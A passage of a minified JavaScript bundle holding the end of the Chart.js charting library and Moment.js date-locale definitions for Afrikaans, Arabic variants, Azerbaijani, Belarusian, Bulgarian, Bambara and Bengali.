r||(r=t[i]=e.measureText(i).width,a.push(i)),r>n&&(n=r),n},R.numberOfLabelLines=function(e){var t=1;return R.each(e,(function(e){R.isArray(e)&&e.length>t&&(t=e.length)})),t},R.color=Y?function(e){return e instanceof CanvasGradient&&(e=C.global.defaultColor),Y(e)}:function(e){return console.error("Color.js not found!"),e},R.getHoverColor=function(e){return e instanceof CanvasPattern||e instanceof CanvasGradient?e:R.color(e).saturate(.5).darken(.1).rgbString()}}(),ta._adapters=ia,ta.Animation=$,ta.animationService=X,ta.controllers=Xe,ta.DatasetController=ne,ta.defaults=C,ta.Element=K,ta.elements=ve,ta.Interaction=rt,ta.layouts=ft,ta.platform=Ot,ta.plugins=At,ta.Scale=ya,ta.scaleService=Ft,ta.Ticks=ra,ta.Tooltip=Ut,ta.helpers.each(hn,(function(e,t){ta.scaleService.registerScaleType(t,e,e._defaults)})),An)An.hasOwnProperty(En)&&ta.plugins.register(An[En]);ta.platform.initialize();var zn=ta;return"undefined"!=typeof window&&(window.Chart=ta),ta.Chart=ta,ta.Legend=An.legend._element,ta.Title=An.title._element,ta.pluginService=ta.plugins,ta.PluginBase=ta.Element.extend({}),ta.canvasHelpers=ta.helpers.canvas,ta.layoutService=ta.layouts,ta.LinearScaleBase=Da,ta.helpers.each(["Bar","Bubble","Doughnut","Line","PolarArea","Radar","Scatter"],(function(e){ta[e]=function(t,a){return new ta(t,ta.helpers.merge(a||{},{type:e.charAt(0).toLowerCase()+e.slice(1)}))}})),zn}(function(){try{return a(381)}catch(e){}}())},2786:function(e,t,a){!function(e){"use strict";e.defineLocale("af",{months:"Januarie_Februarie_Maart_April_Mei_Junie_Julie_Augustus_September_Oktober_November_Desember".split("_"),monthsShort:"Jan_Feb_Mrt_Apr_Mei_Jun_Jul_Aug_Sep_Okt_Nov_Des".split("_"),weekdays:"Sondag_Maandag_Dinsdag_Woensdag_Donderdag_Vrydag_Saterdag".split("_"),weekdaysShort:"Son_Maa_Din_Woe_Don_Vry_Sat".split("_"),weekdaysMin:"So_Ma_Di_Wo_Do_Vr_Sa".split("_"),meridiemParse:/vm|nm/i,isPM:function(e){return/^nm$/i.test(e)},meridiem:function(e,t,a){return e<12?a?"vm":"VM":a?"nm":"NM"},longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Vandag om] LT",nextDay:"[Môre om] LT",nextWeek:"dddd [om] LT",lastDay:"[Gister om] LT",lastWeek:"[Laas] dddd [om] LT",sameElse:"L"},relativeTime:{future:"oor %s",past:"%s gelede",s:"'n paar sekondes",ss:"%d sekondes",m:"'n minuut",mm:"%d minute",h:"'n uur",hh:"%d ure",d:"'n dag",dd:"%d dae",M:"'n maand",MM:"%d maande",y:"'n jaar",yy:"%d jaar"},dayOfMonthOrdinalParse:/\d{1,2}(ste|de)/,ordinal:function(e){return e+(1===e||8===e||e>=20?"ste":"de")},week:{dow:1,doy:4}})}(a(381))},4130:function(e,t,a){!function(e){"use strict";var t=function(e){return 0===e?0:1===e?1:2===e?2:e%100>=3&&e%100<=10?3:e%100>=11?4:5},a={s:["أقل من ثانية","ثانية واحدة",["ثانيتان","ثانيتين"],"%d ثوان","%d ثانية","%d ثانية"],m:["أقل من دقيقة","دقيقة واحدة",["دقيقتان","دقيقتين"],"%d دقائق","%d دقيقة","%d دقيقة"],h:["أقل من ساعة","ساعة واحدة",["ساعتان","ساعتين"],"%d ساعات","%d ساعة","%d ساعة"],d:["أقل من يوم","يوم واحد",["يومان","يومين"],"%d أيام","%d يومًا","%d يوم"],M:["أقل من شهر","شهر واحد",["شهران","شهرين"],"%d أشهر","%d شهرا","%d شهر"],y:["أقل من عام","عام واحد",["عامان","عامين"],"%d أعوام","%d عامًا","%d عام"]},n=function(e){return function(n,i,r,s){var o=t(n),d=a[e][t(n)];return 2===o&&(d=d[i?0:1]),d.replace(/%d/i,n)}},i=["جانفي","فيفري","مارس","أفريل","ماي","جوان","جويلية","أوت","سبتمبر","أكتوبر","نوفمبر","ديسمبر"];e.defineLocale("ar-dz",{months:i,monthsShort:i,weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"D/‏M/‏YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/ص|م/,isPM:function(e){return"م"===e},meridiem:function(e,t,a){return e<12?"ص":"م"},calendar:{sameDay:"[اليوم عند الساعة] LT",nextDay:"[غدًا عند الساعة] LT",nextWeek:"dddd [عند الساعة] LT",lastDay:"[أمس عند الساعة] LT",lastWeek:"dddd [عند الساعة] LT",sameElse:"L"},relativeTime:{future:"بعد %s",past:"منذ %s",s:n("s"),ss:n("s"),m:n("m"),mm:n("m"),h:n("h"),hh:n("h"),d:n("d"),dd:n("d"),M:n("M"),MM:n("M"),y:n("y"),yy:n("y")},postformat:function(e){return e.replace(/,/g,"،")},week:{dow:0,doy:4}})}(a(381))},6135:function(e,t,a){!function(e){"use strict";e.defineLocale("ar-kw",{months:"يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر".split("_"),monthsShort:"يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر".split("_"),weekdays:"الأحد_الإتنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"احد_اتنين_ثلاثاء_اربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[اليوم على الساعة] LT",nextDay:"[غدا على الساعة] LT",nextWeek:"dddd [على الساعة] LT",lastDay:"[أمس على الساعة] LT",lastWeek:"dddd [على الساعة] LT",sameElse:"L"},relativeTime:{future:"في %s",past:"منذ %s",s:"ثوان",ss:"%d ثانية",m:"دقيقة",mm:"%d دقائق",h:"ساعة",hh:"%d ساعات",d:"يوم",dd:"%d أيام",M:"شهر",MM:"%d أشهر",y:"سنة",yy:"%d سنوات"},week:{dow:0,doy:12}})}(a(381))},6440:function(e,t,a){!function(e){"use strict";var t={1:"1",2:"2",3:"3",4:"4",5:"5",6:"6",7:"7",8:"8",9:"9",0:"0"},a=function(e){return 0===e?0:1===e?1:2===e?2:e%100>=3&&e%100<=10?3:e%100>=11?4:5},n={s:["أقل من ثانية","ثانية واحدة",["ثانيتان","ثانيتين"],"%d ثوان","%d ثانية","%d ثانية"],m:["أقل من دقيقة","دقيقة واحدة",["دقيقتان","دقيقتين"],"%d دقائق","%d دقيقة","%d دقيقة"],h:["أقل من ساعة","ساعة واحدة",["ساعتان","ساعتين"],"%d ساعات","%d ساعة","%d ساعة"],d:["أقل من يوم","يوم واحد",["يومان","يومين"],"%d أيام","%d يومًا","%d يوم"],M:["أقل من شهر","شهر واحد",["شهران","شهرين"],"%d أشهر","%d شهرا","%d شهر"],y:["أقل من عام","عام واحد",["عامان","عامين"],"%d أعوام","%d عامًا","%d عام"]},i=function(e){return function(t,i,r,s){var o=a(t),d=n[e][a(t)];return 2===o&&(d=d[i?0:1]),d.replace(/%d/i,t)}},r=["يناير","فبراير","مارس","أبريل","مايو","يونيو","يوليو","أغسطس","سبتمبر","أكتوبر","نوفمبر","ديسمبر"];e.defineLocale("ar-ly",{months:r,monthsShort:r,weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"D/‏M/‏YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/ص|م/,isPM:function(e){return"م"===e},meridiem:function(e,t,a){return e<12?"ص":"م"},calendar:{sameDay:"[اليوم عند الساعة] LT",nextDay:"[غدًا عند الساعة] LT",nextWeek:"dddd [عند الساعة] LT",lastDay:"[أمس عند الساعة] LT",lastWeek:"dddd [عند الساعة] LT",sameElse:"L"},relativeTime:{future:"بعد %s",past:"منذ %s",s:i("s"),ss:i("s"),m:i("m"),mm:i("m"),h:i("h"),hh:i("h"),d:i("d"),dd:i("d"),M:i("M"),MM:i("M"),y:i("y"),yy:i("y")},preparse:function(e){return e.replace(/،/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"،")},week:{dow:6,doy:12}})}(a(381))},7702:function(e,t,a){!function(e){"use strict";e.defineLocale("ar-ma",{months:"يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر".split("_"),monthsShort:"يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر".split("_"),weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"احد_اثنين_ثلاثاء_اربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[اليوم على الساعة] LT",nextDay:"[غدا على الساعة] LT",nextWeek:"dddd [على الساعة] LT",lastDay:"[أمس على الساعة] LT",lastWeek:"dddd [على الساعة] LT",sameElse:"L"},relativeTime:{future:"في %s",past:"منذ %s",s:"ثوان",ss:"%d ثانية",m:"دقيقة",mm:"%d دقائق",h:"ساعة",hh:"%d ساعات",d:"يوم",dd:"%d أيام",M:"شهر",MM:"%d أشهر",y:"سنة",yy:"%d سنوات"},week:{dow:1,doy:4}})}(a(381))},6040:function(e,t,a){!function(e){"use strict";var t={1:"١",2:"٢",3:"٣",4:"٤",5:"٥",6:"٦",7:"٧",8:"٨",9:"٩",0:"٠"},a={"١":"1","٢":"2","٣":"3","٤":"4","٥":"5","٦":"6","٧":"7","٨":"8","٩":"9","٠":"0"};e.defineLocale("ar-sa",{months:"يناير_فبراير_مارس_أبريل_مايو_يونيو_يوليو_أغسطس_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"),monthsShort:"يناير_فبراير_مارس_أبريل_مايو_يونيو_يوليو_أغسطس_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"),weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/ص|م/,isPM:function(e){return"م"===e},meridiem:function(e,t,a){return e<12?"ص":"م"},calendar:{sameDay:"[اليوم على الساعة] LT",nextDay:"[غدا على الساعة] LT",nextWeek:"dddd [على الساعة] LT",lastDay:"[أمس على الساعة] LT",lastWeek:"dddd [على الساعة] LT",sameElse:"L"},relativeTime:{future:"في %s",past:"منذ %s",s:"ثوان",ss:"%d ثانية",m:"دقيقة",mm:"%d دقائق",h:"ساعة",hh:"%d ساعات",d:"يوم",dd:"%d أيام",M:"شهر",MM:"%d أشهر",y:"سنة",yy:"%d سنوات"},preparse:function(e){return e.replace(/[١٢٣٤٥٦٧٨٩٠]/g,(function(e){return a[e]})).replace(/،/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"،")},week:{dow:0,doy:6}})}(a(381))},7100:function(e,t,a){!function(e){"use strict";e.defineLocale("ar-tn",{months:"جانفي_فيفري_مارس_أفريل_ماي_جوان_جويلية_أوت_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"),monthsShort:"جانفي_فيفري_مارس_أفريل_ماي_جوان_جويلية_أوت_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"),weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[اليوم على الساعة] LT",nextDay:"[غدا على الساعة] LT",nextWeek:"dddd [على الساعة] LT",lastDay:"[أمس على الساعة] LT",lastWeek:"dddd [على الساعة] LT",sameElse:"L"},relativeTime:{future:"في %s",past:"منذ %s",s:"ثوان",ss:"%d ثانية",m:"دقيقة",mm:"%d دقائق",h:"ساعة",hh:"%d ساعات",d:"يوم",dd:"%d أيام",M:"شهر",MM:"%d أشهر",y:"سنة",yy:"%d سنوات"},week:{dow:1,doy:4}})}(a(381))},867:function(e,t,a){!function(e){"use strict";var t={1:"١",2:"٢",3:"٣",4:"٤",5:"٥",6:"٦",7:"٧",8:"٨",9:"٩",0:"٠"},a={"١":"1","٢":"2","٣":"3","٤":"4","٥":"5","٦":"6","٧":"7","٨":"8","٩":"9","٠":"0"},n=function(e){return 0===e?0:1===e?1:2===e?2:e%100>=3&&e%100<=10?3:e%100>=11?4:5},i={s:["أقل من ثانية","ثانية واحدة",["ثانيتان","ثانيتين"],"%d ثوان","%d ثانية","%d ثانية"],m:["أقل من دقيقة","دقيقة واحدة",["دقيقتان","دقيقتين"],"%d دقائق","%d دقيقة","%d دقيقة"],h:["أقل من ساعة","ساعة واحدة",["ساعتان","ساعتين"],"%d ساعات","%d ساعة","%d ساعة"],d:["أقل من يوم","يوم واحد",["يومان","يومين"],"%d أيام","%d يومًا","%d يوم"],M:["أقل من شهر","شهر واحد",["شهران","شهرين"],"%d أشهر","%d شهرا","%d شهر"],y:["أقل من عام","عام واحد",["عامان","عامين"],"%d أعوام","%d عامًا","%d عام"]},r=function(e){return function(t,a,r,s){var o=n(t),d=i[e][n(t)];return 2===o&&(d=d[a?0:1]),d.replace(/%d/i,t)}},s=["يناير","فبراير","مارس","أبريل","مايو","يونيو","يوليو","أغسطس","سبتمبر","أكتوبر","نوفمبر","ديسمبر"];e.defineLocale("ar",{months:s,monthsShort:s,weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"D/‏M/‏YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/ص|م/,isPM:function(e){return"م"===e},meridiem:function(e,t,a){return e<12?"ص":"م"},calendar:{sameDay:"[اليوم عند الساعة] LT",nextDay:"[غدًا عند الساعة] LT",nextWeek:"dddd [عند الساعة] LT",lastDay:"[أمس عند الساعة] LT",lastWeek:"dddd [عند الساعة] LT",sameElse:"L"},relativeTime:{future:"بعد %s",past:"منذ %s",s:r("s"),ss:r("s"),m:r("m"),mm:r("m"),h:r("h"),hh:r("h"),d:r("d"),dd:r("d"),M:r("M"),MM:r("M"),y:r("y"),yy:r("y")},preparse:function(e){return e.replace(/[١٢٣٤٥٦٧٨٩٠]/g,(function(e){return a[e]})).replace(/،/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"،")},week:{dow:6,doy:12}})}(a(381))},1083:function(e,t,a){!function(e){"use strict";var t={1:"-inci",5:"-inci",8:"-inci",70:"-inci",80:"-inci",2:"-nci",7:"-nci",20:"-nci",50:"-nci",3:"-üncü",4:"-üncü",100:"-üncü",6:"-ncı",9:"-uncu",10:"-uncu",30:"-uncu",60:"-ıncı",90:"-ıncı"};e.defineLocale("az",{months:"yanvar_fevral_mart_aprel_may_iyun_iyul_avqust_sentyabr_oktyabr_noyabr_dekabr".split("_"),monthsShort:"yan_fev_mar_apr_may_iyn_iyl_avq_sen_okt_noy_dek".split("_"),weekdays:"Bazar_Bazar ertəsi_Çərşənbə axşamı_Çərşənbə_Cümə axşamı_Cümə_Şənbə".split("_"),weekdaysShort:"Baz_BzE_ÇAx_Çər_CAx_Cüm_Şən".split("_"),weekdaysMin:"Bz_BE_ÇA_Çə_CA_Cü_Şə".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[bugün saat] LT",nextDay:"[sabah saat] LT",nextWeek:"[gələn həftə] dddd [saat] LT",lastDay:"[dünən] LT",lastWeek:"[keçən həftə] dddd [saat] LT",sameElse:"L"},relativeTime:{future:"%s sonra",past:"%s əvvəl",s:"bir neçə saniyə",ss:"%d saniyə",m:"bir dəqiqə",mm:"%d dəqiqə",h:"bir saat",hh:"%d saat",d:"bir gün",dd:"%d gün",M:"bir ay",MM:"%d ay",y:"bir il",yy:"%d il"},meridiemParse:/gecə|səhər|gündüz|axşam/,isPM:function(e){return/^(gündüz|axşam)$/.test(e)},meridiem:function(e,t,a){return e<4?"gecə":e<12?"səhər":e<17?"gündüz":"axşam"},dayOfMonthOrdinalParse:/\d{1,2}-(ıncı|inci|nci|üncü|ncı|uncu)/,ordinal:function(e){if(0===e)return e+"-ıncı";var a=e%10,n=e%100-a,i=e>=100?100:null;return e+(t[a]||t[n]||t[i])},week:{dow:1,doy:7}})}(a(381))},9808:function(e,t,a){!function(e){"use strict";function t(e,t){var a=e.split("_");return t%10==1&&t%100!=11?a[0]:t%10>=2&&t%10<=4&&(t%100<10||t%100>=20)?a[1]:a[2]}function a(e,a,n){return"m"===n?a?"хвіліна":"хвіліну":"h"===n?a?"гадзіна":"гадзіну":e+" "+t({ss:a?"секунда_секунды_секунд":"секунду_секунды_секунд",mm:a?"хвіліна_хвіліны_хвілін":"хвіліну_хвіліны_хвілін",hh:a?"гадзіна_гадзіны_гадзін":"гадзіну_гадзіны_гадзін",dd:"дзень_дні_дзён",MM:"месяц_месяцы_месяцаў",yy:"год_гады_гадоў"}[n],+e)}e.defineLocale("be",{months:{format:"студзеня_лютага_сакавіка_красавіка_траўня_чэрвеня_ліпеня_жніўня_верасня_кастрычніка_лістапада_снежня".split("_"),standalone:"студзень_люты_сакавік_красавік_травень_чэрвень_ліпень_жнівень_верасень_кастрычнік_лістапад_снежань".split("_")},monthsShort:"студ_лют_сак_крас_трав_чэрв_ліп_жнів_вер_каст_ліст_снеж".split("_"),weekdays:{format:"нядзелю_панядзелак_аўторак_сераду_чацвер_пятніцу_суботу".split("_"),standalone:"нядзеля_панядзелак_аўторак_серада_чацвер_пятніца_субота".split("_"),isFormat:/\[ ?[Ууў] ?(?:мінулую|наступную)? ?\] ?dddd/},weekdaysShort:"нд_пн_ат_ср_чц_пт_сб".split("_"),weekdaysMin:"нд_пн_ат_ср_чц_пт_сб".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY г.",LLL:"D MMMM YYYY г., HH:mm",LLLL:"dddd, D MMMM YYYY г., HH:mm"},calendar:{sameDay:"[Сёння ў] LT",nextDay:"[Заўтра ў] LT",lastDay:"[Учора ў] LT",nextWeek:function(){return"[У] dddd [ў] LT"},lastWeek:function(){switch(this.day()){case 0:case 3:case 5:case 6:return"[У мінулую] dddd [ў] LT";case 1:case 2:case 4:return"[У мінулы] dddd [ў] LT"}},sameElse:"L"},relativeTime:{future:"праз %s",past:"%s таму",s:"некалькі секунд",m:a,mm:a,h:a,hh:a,d:"дзень",dd:a,M:"месяц",MM:a,y:"год",yy:a},meridiemParse:/ночы|раніцы|дня|вечара/,isPM:function(e){return/^(дня|вечара)$/.test(e)},meridiem:function(e,t,a){return e<4?"ночы":e<12?"раніцы":e<17?"дня":"вечара"},dayOfMonthOrdinalParse:/\d{1,2}-(і|ы|га)/,ordinal:function(e,t){switch(t){case"M":case"d":case"DDD":case"w":case"W":return e%10!=2&&e%10!=3||e%100==12||e%100==13?e+"-ы":e+"-і";case"D":return e+"-га";default:return e}},week:{dow:1,doy:7}})}(a(381))},8338:function(e,t,a){!function(e){"use strict";e.defineLocale("bg",{months:"януари_февруари_март_април_май_юни_юли_август_септември_октомври_ноември_декември".split("_"),monthsShort:"яну_фев_мар_апр_май_юни_юли_авг_сеп_окт_ное_дек".split("_"),weekdays:"неделя_понеделник_вторник_сряда_четвъртък_петък_събота".split("_"),weekdaysShort:"нед_пон_вто_сря_чет_пет_съб".split("_"),weekdaysMin:"нд_пн_вт_ср_чт_пт_сб".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"D.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY H:mm",LLLL:"dddd, D MMMM YYYY H:mm"},calendar:{sameDay:"[Днес в] LT",nextDay:"[Утре в] LT",nextWeek:"dddd [в] LT",lastDay:"[Вчера в] LT",lastWeek:function(){switch(this.day()){case 0:case 3:case 6:return"[Миналата] dddd [в] LT";case 1:case 2:case 4:case 5:return"[Миналия] dddd [в] LT"}},sameElse:"L"},relativeTime:{future:"след %s",past:"преди %s",s:"няколко секунди",ss:"%d секунди",m:"минута",mm:"%d минути",h:"час",hh:"%d часа",d:"ден",dd:"%d дена",w:"седмица",ww:"%d седмици",M:"месец",MM:"%d месеца",y:"година",yy:"%d години"},dayOfMonthOrdinalParse:/\d{1,2}-(ев|ен|ти|ви|ри|ми)/,ordinal:function(e){var t=e%10,a=e%100;return 0===e?e+"-ев":0===a?e+"-ен":a>10&&a<20?e+"-ти":1===t?e+"-ви":2===t?e+"-ри":7===t||8===t?e+"-ми":e+"-ти"},week:{dow:1,doy:7}})}(a(381))},7438:function(e,t,a){!function(e){"use strict";e.defineLocale("bm",{months:"Zanwuyekalo_Fewuruyekalo_Marisikalo_Awirilikalo_Mɛkalo_Zuwɛnkalo_Zuluyekalo_Utikalo_Sɛtanburukalo_ɔkutɔburukalo_Nowanburukalo_Desanburukalo".split("_"),monthsShort:"Zan_Few_Mar_Awi_Mɛ_Zuw_Zul_Uti_Sɛt_ɔku_Now_Des".split("_"),weekdays:"Kari_Ntɛnɛn_Tarata_Araba_Alamisa_Juma_Sibiri".split("_"),weekdaysShort:"Kar_Ntɛ_Tar_Ara_Ala_Jum_Sib".split("_"),weekdaysMin:"Ka_Nt_Ta_Ar_Al_Ju_Si".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"MMMM [tile] D [san] YYYY",LLL:"MMMM [tile] D [san] YYYY [lɛrɛ] HH:mm",LLLL:"dddd MMMM [tile] D [san] YYYY [lɛrɛ] HH:mm"},calendar:{sameDay:"[Bi lɛrɛ] LT",nextDay:"[Sini lɛrɛ] LT",nextWeek:"dddd [don lɛrɛ] LT",lastDay:"[Kunu lɛrɛ] LT",lastWeek:"dddd [tɛmɛnen lɛrɛ] LT",sameElse:"L"},relativeTime:{future:"%s kɔnɔ",past:"a bɛ %s bɔ",s:"sanga dama dama",ss:"sekondi %d",m:"miniti kelen",mm:"miniti %d",h:"lɛrɛ kelen",hh:"lɛrɛ %d",d:"tile kelen",dd:"tile %d",M:"kalo kelen",MM:"kalo %d",y:"san kelen",yy:"san %d"},week:{dow:1,doy:4}})}(a(381))},6225:function(e,t,a){!function(e){"use strict";var t={1:"১",2:"২",3:"৩",4:"৪",5:"৫",6:"৬",7:"৭",8:"৮",9:"৯",0:"০"},a={"১":"1","২":"2","৩":"3","৪":"4","৫":"5","৬":"6","৭":"7","৮":"8","৯":"9","০":"0"};e.defineLocale("bn-bd",{months:"জানুয়ারি_ফেব্রুয়ারি_মার্চ_এপ্রিল_মে_জুন_জুলাই_আগস্ট_সেপ্টেম্বর_অক্টোবর_নভেম্বর_ডিসেম্বর".split("_"),monthsShort:"জানু_ফেব্রু_মার্চ_এপ্রিল_মে_জুন_জুলাই_আগস্ট_সেপ্ট_অক্টো_নভে_ডিসে".split("_"),weekdays:"রবিবার_সোমবার_মঙ্গলবার_বুধবার_বৃহস্পতিবার_শুক্রবার_শনিবার".split("_"),weekdaysShort:"রবি_সোম_মঙ্গল_বুধ_বৃহস্পতি_শুক্র_শনি".split("_"),weekdaysMin:"রবি_সোম_মঙ্গল_বুধ_বৃহ_শুক্র_শনি".split("_"),longDateFormat:{LT:"A h:mm সময়",LTS:"A h:mm:ss সময়",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm সময়",LLLL:"dddd, D MMMM YYYY, A h:mm সময়"},calendar:{sameDay:"[আজ] LT",nextDay:"[আগামীকাল] LT",nextWeek:"dddd, LT",lastDay:"[গতকাল] LT",lastWeek:"[গত] dddd, LT",sameElse:"L"},relativeTime:{future:"%s পরে",past:"%s আগে",s:"কয়েক সেকেন্ড",ss:"%d সেকেন্ড",m:"এক মিনিট",mm:"%d মিনিট",h:"এক ঘন্টা",hh:"%d ঘন্টা",d:"এক দিন",dd:"%d দিন",M:"এক মাস",MM:"%d মাস",y:"এক বছর",yy:"%d বছর"},preparse:function(e){return e.replace(/[১২৩৪৫৬৭৮৯০]/g,(function(e){return a[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/রাত|ভোর|সকাল|দুপুর|বিকাল|সন্ধ্যা|রাত/,meridiemHour:function(e,t){return 12===e&&(e=0),"রাত"===t?e<4?e:e+12:"ভোর"===t||"সকাল"===t?e:"দুপুর"===t?e>=3?e:e+12:"বিকাল"===t||"সন্ধ্যা"===t?e+12:void 0},meridiem:function(e,t,a){return e<4?"রাত":e<6?"ভোর":e<12?"সকাল":e<15?"দুপুর":e<18?"বিকাল":e<20?"সন্ধ্যা":"রাত"},week:{dow:0,doy:6}})}(a(381))},8905:function(e,t,a){!function(e){"use strict";var t={1:"১",2:"২",3:"৩",4:"৪",5:"৫",6:"৬",7:"৭",8:"৮",9:"৯",0:"০"},a={"১":"1","২":"2","৩":"3","৪":"4","৫":"5","৬":"6","৭":"7","৮":"8","৯":"9","০":"0"};e.defineLocale("bn",{months:"জানুয়ারি_ফেব্রুয়ারি_মার্চ_এপ্রিল_মে_জুন_জুলাই_আগস্ট_সেপ্টেম্বর_অক্টোবর_নভেম্বর_ডিসেম্বর".split("_"),monthsShort:"জানু_ফেব্রু_মার্চ_এপ্রিল_মে_জুন_জুলাই_আগস্ট_সেপ্ট_অক্টো_নভে_ডিসে".split("_"),weekdays:"রবিবার_সোমবার_মঙ্গলবার_বুধবার_বৃহস্পতিবার_শুক্রবার_শনিবার".split("_"),weekdaysShort:"রবি_সোম_মঙ্গল_বুধ_বৃহস্পতি_শুক্র_শনি".split("_"),weekdaysMin:"রবি_সোম_মঙ্গল_বুধ_বৃহ_শুক্র_শনি".split("_"),longDateFormat:{LT:"A h:mm সময়",LTS:"A h:mm:ss সময়",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm সময়",LLLL:"dddd, D MMMM YYYY, A h:mm সময়"},calendar:{sameDay:"[আজ] LT",nextDay:"[আগামীকাল] LT",nextWeek:"dddd, LT",lastDay:"[গতকাল] LT",lastWeek:"[গত] dddd, LT",sameElse:"L"},relativeTime:{future:"%s পরে",past:"%s আগে",s:"কয়েক সেকেন্ড",ss:"%d সেকেন্ড",m:"এক মিনিট",mm:"%d মিনিট",h:"এক ঘন্টা",hh:"%d ঘন্টা",d:"এক দিন",dd:"%d দিন",M:"এক মাস",MM:"%d মাস",y:"এক বছর",yy:"%d বছর"},preparse:function(e){return e.replace(/[১২৩৪৫৬৭৮৯০]/g,(function(e){return a[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/রাত|সকাল|দুপুর|বিকাল|রাত/,meridiemHour:function(e,t){return 12===e&&(e=0),"রাত"===t&&e>=4||"দুপুর"===t&&e<5||"বিকাল"===t?e+12:e},meridiem:function(e,t,a){return e<4?"রাত":e<10?"সকাল":e<17?"দুপুর":e<20?"বিকাল":"রাত"},week:{dow:0,doy:6}})}(a(381))},1560:function(e,t,a){!function(e){"use strict";var 